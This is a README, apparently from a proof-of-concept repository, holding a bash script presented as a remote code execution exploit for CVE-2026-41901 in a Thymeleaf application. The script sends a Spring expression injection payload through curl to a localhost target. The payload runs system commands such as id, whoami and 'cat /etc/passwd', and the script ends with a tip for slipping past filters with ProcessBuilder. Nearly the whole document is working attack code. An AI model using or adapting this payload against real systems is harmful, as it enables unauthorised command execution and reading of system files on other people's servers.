README.md
Rendering markdown...
#!/bin/bash
# CVE-2026-41901 RCE Exploit with Output
TARGET="http://localhost:8080/poc"
echo "[+] Starting CVE-2026-41901 Remote Execution Test"
echo ""
COMMANDS=("id" "whoami" "hostname" "ls /tmp" "cat /etc/passwd | head -5")
for cmd in "${COMMANDS[@]}"; do
echo "[*] Executing: $cmd"
# Payload that tries to return output
PAYLOAD="[[${T(java.util.Scanner).new(T(java.lang.Runtime).getRuntime().exec(\"$cmd\").getInputStream()).useDelimiter(\"\\A\").next()}]]"
RESPONSE=$(curl -s -G "$TARGET" --data-urlencode "input=$PAYLOAD")
echo "$RESPONSE" | grep -E "(uid|root|www|linux|tmp)" || echo " → Output may be blind or blocked"
echo "--------------------------------------------------"
done
echo ""
echo "Tips:"
echo "• Try tab bypass: new[ ]java.lang.ProcessBuilder..."
echo "• Check container logs: docker logs thymeleaf-rce"